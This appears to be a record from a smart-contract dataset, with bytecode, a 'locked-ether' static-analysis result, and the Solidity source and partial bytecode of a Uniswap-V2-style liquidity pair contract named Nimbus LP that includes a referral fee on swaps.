60020a031683528201929092526040019020549063ffffffff61126416565b6001600060058460ff1681548110151561079357fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020556005805460ff83169081106107c957fe5b600091825260208220015460058054600160a060020a03909216927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885926108549260649261072a926004929060ff8a1690811061082257fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902054879063ffffffff61127e16565b60408051918252519081900360200190a26005805460ff831690811061087657fe5b600091825260208220015460058054600160a060020a03909216929160008051602061146e833981519152916108f19160649161072a91600491879160ff8b169081106108bf57fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902054889063ffffffff61127e16565b60408051918252519081900360200190a36001016106ca565b50504260065550600190565b60005481565b6000600160a060020a038316151561093357600080fd5b600160a060020a03841660009081526001602052604090205482111561095857600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561098857600080fd5b6000821180156109be5750600160a060020a0383166000908152600160205260409020546109bc818463ffffffff61126416565b115b15156109c957600080fd5b600160a060020a0384166000908152600160205260409020546109f2908363ffffffff6112c016565b600160a060020a038086166000908152600160205260408082209390935590851681522054610a27908363ffffffff61126416565b600160a060020a038085166000908152600160209081526040808320949094559187168152600282528281203382529091522054610a6b908363ffffffff6112c016565b600160a060020a038086166000818152600260209081526040808320338452825291829020949094558051868152905192871693919260008051602061146e833981519152929181900390910190a35060019392505050565b6060806000600b600c600054828054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b655780601f10610b3a57610100808354040283529160200191610b65565b820191906000526020600020905b815481529060010190602001808311610b4857829003601f168201915b5050855460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815295985087945092508401905082828015610bf35780601f10610bc857610100808354040283529160200191610bf3565b820191906000526020600020905b815481529060010190602001808311610bd657829003601f168201915b50505050509150925092509250909192565b60065481565b600354600090819081908190600160a060020a03163314610c2b57600080fd5b60078714610c3857600080fd5b60078514610c4557600080fd5b60055460001015610cf157600091505b60055460ff83161015610ce25760006004600060058560ff16815481101515610c7a57fe5b6000918252602080832090910154600160a060020a031683528201929092526040019020556005805460ff8416908110610cb057fe5b6000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff1916905560019190910190610c55565b6000610cef60058261142a565b505b5060005b60ff8116871115610e3557878760ff8316818110610d0f57fe5b90506020020135600160a060020a0316600160a060020a0316600014151515610d3757600080fd5b6000868660ff8416818110610d4857fe5b90506020020135111515610d5b57600080fd5b6005888860ff8416818110610d6c57fe5b8354600181018555600094855260209485902001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039590920293909301359390931692909217905550858560ff8316818110610dc457fe5b90506020020135600460008a8a8560ff168181101515610de057fe5b60209081029290920135600160a060020a031683525081019190915260400160002055610e2b868660ff8416818110610e1557fe5b905060200201358461126490919063ffffffff16565b9250600101610cf5565b60648314610e4257600080fd5b6040517f45dbfacb32139a73ba98185dc91b94a088fdee69b538bb008c6631ec99d58f2690600090a1506001979650505050505050565b600d5460ff1681565b610e8c33826112d2565b50565b600160a060020a031660009081526001602052604090205490565b600354600090600160a060020a03163314610ec457600080fd5b600a5460ff1615610ed457600080fd5b600054670ca0f82db99b000011610eea57600080fd5b600554600714610ef957600080fd5b600a805460ff191660011790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a15060015b90565b60085481565b600354600160a060020a031681565b600c805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156105e35780601f106105b8576101008083540402835291602001916105e3565b6000600160a060020a0383161515610fbd57600080fd5b336000908152600160205260409020548211801590610fdc5750600082115b801561100e5750600160a060020a03831660009081526001602052604090205461100c818463ffffffff61126416565b115b151561101957600080fd5b33600090815260016020526040902054611039908363ffffffff6112c016565b3360009081526001602052604080822092909255600160a060020a0385168152205461106b908363ffffffff61126416565b600160a060020a03841660008181526001602090815260409182902093909355805185815290519192339260008051602061146e8339815191529281900390910190a350600192915050565b60046020526000908152604090205481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60075481565b60095481565b600580548290811061110e57fe5b600091825260209091200154600160a060020a0316905081565b600354600160a060020a0316331461113f57600080fd5b600160a060020a038116151561115457600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008060006111ca6113c2565b6111d26113f8565b039150600060ff8316116111e557600080fd5b5060005b8160ff168160ff16101561125f57611234611227611218606461072a600a60095461127e90919063ffffffff16565b6009549063ffffffff6112c016565b849063ffffffff61126416565b9250611254611218606461072a600a60095461127e90919063ffffffff16565b6009556001016111e9565b505090565b60008282018381101561127357fe5b8091505b5092915050565b6000808315156112915760009150611277565b508282028284828115156112a157fe5b041461127357fe5b60008082848115156112b757fe5b04949350505050565b6000828211156112cc57fe5b50900390565b600160a060020a0382166000908152600160205260409020548111156112f757600080fd5b600160a060020a038216600090815260016020526040902054611320908263ffffffff6112c016565b600160a060020a0383166000908152600160205260408120919091555461134d908263ffffffff6112c016565b600055604080518281529051600160a060020a038416917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a2604080518281529051600091600160a060020a0385169160008051602061146e8339815191529181900360200190a35050565b6007546000905b6006548110156113f4576008546113e790829063ffffffff61126416565b60019092019190506113c9565b5090565b60075460009042905b8181101561125f5760085461141d90829063ffffffff61126416565b6001909301929050611401565b81548183558181111561144e5760008381526020902061144e918101908301611453565b505050565b610f3391905b808211156113f457600081556001016114595600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820db5abc2ab46fd037c748845d92886a0fd850049370843438d70553db03e8d85e0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,083 |
0xc0A6B8c534FaD86dF8FA1AbB17084A70F86EDDc1
|
pragma solidity =0.8.0;
interface INimbusFactory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function nimbusReferralProgram() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface INimbusERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
interface INimbusPair is INimbusERC20 {
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
contract NimbusERC20 is INimbusERC20 {
using SafeMath for uint;
string public constant override name = 'Nimbus LP';
string public constant override symbol = 'NBU_LP';
uint8 public constant override decimals = 18;
uint public override totalSupply;
mapping(address => uint) public override balanceOf;
mapping(address => mapping(address => uint)) public override allowance;
bytes32 public override DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant override PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public override nonces;
constructor() {
uint chainId = block.chainid;
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external override returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external override returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external override returns (bool) {
if (allowance[from][msg.sender] != (2**256-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external override {
require(deadline >= block.timestamp, 'Nimbus: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'Nimbus: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
interface INimbusCallee {
function NimbusCall(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
interface INimbusReferralProgram {
function recordFee(address token, address recipient, uint amount) external;
}
contract NimbusPair is INimbusPair, NimbusERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant override MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public override factory;
address public override token0;
address public override token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public override price0CumulativeLast;
uint public override price1CumulativeLast;
uint public override kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'Nimbus: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view override returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'Nimbus: TRANSFER_FAILED');
}
constructor() {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external override {
require(msg.sender == factory, 'Nimbus: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= (2**112 - 1) && balance1 <= (2**112 - 1), 'Nimbus: OVERFLOW'); // uint112(-1) = 2 ** 112 - 1
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = INimbusFactory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external override lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'Nimbus: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external override lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'Nimbus: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external override lock {
require(amount0Out > 0 || amount1Out > 0, 'Nimbus: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'Nimbus: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'Nimbus: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) INimbusCallee(to).NimbusCall(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'Nimbus: INSUFFICIENT_INPUT_AMOUNT');
{
address referralProgram = INimbusFactory(factory).nimbusReferralProgram();
if (amount0In > 0) {
address _token0 = token0;
uint refFee = amount0In.mul(3)/ 1994;
_safeTransfer(_token0, referralProgram, refFee);
INimbusReferralProgram(referralProgram).recordFee(_token0, to, refFee);
balance0 = balance0.sub(refFee);
}
if (amount1In > 0) {
uint refFee = amount1In.mul(3) / 1994;
address _token1 = token1;
_safeTransfer(_token1, referralProgram, refFee);
INimbusReferralProgram(referralProgram).recordFee(_token1, to, refFee);
balance1 = balance1.sub(refFee);
}
}
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(10000).sub(amount0In.mul(15));
uint balance1Adjusted = balance1.mul(10000).sub(amount1In.mul(15));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'Nimbus: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external override lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external override lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
}
|
0x608060405234801561001057600080fd5b50600436106101b95760003560e01c80636a627842116100f9578063ba9a7a5611610097578063d21220a711610071578063d21220a71461034d578063d505accf14610355578063dd62ed3e14610368578063fff6cae91461037b576101b9565b8063ba9a7a561461032a578063bc25cf7714610332578063c45a015514610345576101b9565b80637ecebe00116100d35780637ecebe00146102db57806389afcb44146102ee57806395d89b411461030f578063a9059cbb14610317576101b9565b80636a627842146102ad57806370a08231146102c05780637464fc3d146102d3576101b9565b806323b872dd116101665780633644e515116101405780633644e51514610282578063485cc9551461028a5780635909c0d51461029d5780635a3d5493146102a5576101b9565b806323b872dd1461025257806330adf81f14610265578063313ce5671461026d576101b9565b8063095ea7b311610197578063095ea7b3146102085780630dfe16811461022857806318160ddd1461023d576101b9565b8063022c0d9f146101be57806306fdde03146101d35780630902f1ac146101f1575b600080fd5b6101d16101cc3660046127a5565b610383565b005b6101db610b73565b6040516101e891906129eb565b60405180910390f35b6101f9610bac565b6040516101e893929190612e65565b61021b610216366004612742565b610c01565b6040516101e89190612978565b610230610c18565b6040516101e89190612888565b610245610c34565b6040516101e89190612983565b61021b61026036600461268d565b610c3a565b610245610d13565b610275610d37565b6040516101e89190612ebe565b610245610d3c565b6101d1610298366004612655565b610d42565b610245610de6565b610245610dec565b6102456102bb36600461261d565b610df2565b6102456102ce36600461261d565b611161565b610245611173565b6102456102e936600461261d565b611179565b6103016102fc36600461261d565b61118b565b6040516101e8929190612e95565b6101db6115e4565b61021b610325366004612742565b61161d565b61024561162a565b6101d161034036600461261d565b611630565b6102306117bf565b6102306117db565b6101d16103633660046126cd565b6117f7565b610245610376366004612655565b6119f8565b6101d1611a15565b600c546001146103c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d42565b60405180910390fd5b6000600c55841515806103db5750600084115b610411576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612db0565b60008061041c610bac565b5091509150816dffffffffffffffffffffffffffff168710801561044f5750806dffffffffffffffffffffffffffff1686105b610485576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612c1a565b600654600754600091829173ffffffffffffffffffffffffffffffffffffffff9182169190811690891682148015906104ea57508073ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff1614155b610520576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612b4f565b8a1561053157610531828a8d611bd9565b891561054257610542818a8c611bd9565b86156105d5576040517f806693a300000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8a169063806693a3906105a29033908f908f908e908e90600401612900565b600060405180830381600087803b1580156105bc57600080fd5b505af11580156105d0573d6000803e3d6000fd5b505050505b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8316906370a0823190610627903090600401612888565b60206040518083038186803b15801561063f57600080fd5b505afa158015610653573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610677919061278d565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815290945073ffffffffffffffffffffffffffffffffffffffff8216906370a08231906106cc903090600401612888565b60206040518083038186803b1580156106e457600080fd5b505afa1580156106f8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071c919061278d565b92505050600089856dffffffffffffffffffffffffffff1661073e9190612fb4565b831161074b57600061076f565b6107658a6dffffffffffffffffffffffffffff8716612fb4565b61076f9084612fb4565b9050600061078d8a6dffffffffffffffffffffffffffff8716612fb4565b831161079a5760006107be565b6107b48a6dffffffffffffffffffffffffffff8716612fb4565b6107be9084612fb4565b905060008211806107cf5750600081115b610805576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612c51565b600554604080517f6e81aa63000000000000000000000000000000000000000000000000000000008152905160009273ffffffffffffffffffffffffffffffffffffffff1691636e81aa63916004808301926020929190829003018186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a89190612639565b905082156109775760065473ffffffffffffffffffffffffffffffffffffffff1660006107ca6108d9866003611d8f565b6108e39190612f1f565b90506108f0828483611bd9565b8273ffffffffffffffffffffffffffffffffffffffff16632a355f7c838e846040518463ffffffff1660e01b815260040161092d939291906128a9565b600060405180830381600087803b15801561094757600080fd5b505af115801561095b573d6000803e3d6000fd5b505050506109728188611de990919063ffffffff16565b965050505b8115610a455760006107ca61098d846003611d8f565b6109979190612f1f565b60075490915073ffffffffffffffffffffffffffffffffffffffff166109be818484611bd9565b8273ffffffffffffffffffffffffffffffffffffffff16632a355f7c828e856040518463ffffffff1660e01b81526004016109fb939291906128a9565b600060405180830381600087803b158015610a1557600080fd5b505af1158015610a29573d6000803e3d6000fd5b50505050610a408287611de990919063ffffffff16565b955050505b506000610a68610a5684600f611d8f565b610a6287612710611d8f565b90611de9565b90506000610a7a610a5684600f611d8f565b9050610aa6620f4240610aa06dffffffffffffffffffffffffffff8b8116908b16611d8f565b90611d8f565b610ab08383611d8f565b1015610ae8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612b18565b5050610af684848888611e31565b8873ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fd78ad95fa46c994b6551d0da85fc275fe613ce37657fb8d5e3d130840159d82284848f8f604051610b599493929190612ea3565b60405180910390a350506001600c55505050505050505050565b6040518060400160405280600981526020017f4e696d627573204c50000000000000000000000000000000000000000000000081525081565b6008546dffffffffffffffffffffffffffff808216926e0100000000000000000000000000008304909116917c0100000000000000000000000000000000000000000000000000000000900463ffffffff1690565b6000610c0e3384846120f4565b5060015b92915050565b60065473ffffffffffffffffffffffffffffffffffffffff1681565b60005481565b73ffffffffffffffffffffffffffffffffffffffff831660009081526002602090815260408083203384529091528120547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff14610cfe5773ffffffffffffffffffffffffffffffffffffffff84166000908152600260209081526040808320338452909152902054610ccc9083611de9565b73ffffffffffffffffffffffffffffffffffffffff851660009081526002602090815260408083203384529091529020555b610d09848484612169565b5060019392505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60035481565b60055473ffffffffffffffffffffffffffffffffffffffff163314610d93576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612e0d565b6006805473ffffffffffffffffffffffffffffffffffffffff9384167fffffffffffffffffffffffff00000000000000000000000000000000000000009182161790915560078054929093169116179055565b60095481565b600a5481565b6000600c54600114610e30576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d42565b6000600c81905580610e40610bac565b506006546040517f70a0823100000000000000000000000000000000000000000000000000000000815292945090925060009173ffffffffffffffffffffffffffffffffffffffff909116906370a0823190610ea0903090600401612888565b60206040518083038186803b158015610eb857600080fd5b505afa158015610ecc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef0919061278d565b6007546040517f70a0823100000000000000000000000000000000000000000000000000000000815291925060009173ffffffffffffffffffffffffffffffffffffffff909116906370a0823190610f4c903090600401612888565b60206040518083038186803b158015610f6457600080fd5b505afa158015610f78573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f9c919061278d565b90506000610fba836dffffffffffffffffffffffffffff8716611de9565b90506000610fd8836dffffffffffffffffffffffffffff8716611de9565b90506000610fe68787612234565b6000549091508061101d576110096103e8610a626110048787611d8f565b6123ae565b985061101860006103e861241e565b611072565b61106f6dffffffffffffffffffffffffffff891661103b8684611d8f565b6110459190612f1f565b6dffffffffffffffffffffffffffff89166110608685611d8f565b61106a9190612f1f565b6124c5565b98505b600089116110ac576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612ce5565b6110b68a8a61241e565b6110c286868a8a611e31565b81156110fe576008546110fa906dffffffffffffffffffffffffffff808216916e010000000000000000000000000000900416611d8f565b600b555b3373ffffffffffffffffffffffffffffffffffffffff167f4c209b5fc8ad50758f13e2e1088ba56a560dff690a1c6fef26394f4c03821c4f8585604051611146929190612e95565b60405180910390a250506001600c5550949695505050505050565b60016020526000908152604090205481565b600b5481565b60046020526000908152604090205481565b600080600c546001146111ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612d42565b6000600c819055806111da610bac565b506006546007546040517f70a0823100000000000000000000000000000000000000000000000000000000815293955091935073ffffffffffffffffffffffffffffffffffffffff9081169291169060009083906370a0823190611242903090600401612888565b60206040518083038186803b15801561125a57600080fd5b505afa15801561126e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611292919061278d565b905060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016112cf9190612888565b60206040518083038186803b1580156112e757600080fd5b505afa1580156112fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061131f919061278d565b3060009081526001602052604081205491925061133c8888612234565b6000549091508061134d8487611d8f565b6113579190612f1f565b9a50806113648486611d8f565b61136e9190612f1f565b995060008b118015611380575060008a115b6113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103bf90612bbd565b6113c030846124dd565b6113cb878d8d611bd9565b6113d6868d8c611bd9565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815273ffffffffffffffffffffffffffffffffffffffff8816906370a0823190611428903090600401612888565b60206040518083038186803b15801561144057600080fd5b505afa158015611454573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611478919061278d565b6040517f70a0823100000000000000000000000000000000000000000000000000000000815290955073ffffffffffffffffffffffffffffffffffffffff8716906370a08231906114cd903090600401612888565b60206040518083038186803b1580156114e557600080fd5b505afa1580156114f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061151d919061278d565b935061152b85858b8b611e31565b811561156757600854611563906dffffffffffffffffffffffffffff808216916e010000000000000000000000000000900416611d8f565b600b555b8b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fdccd412f0b1252819cb1fd330b93224ca42612892bb3f4f789976e6d819364968d8d6040516115c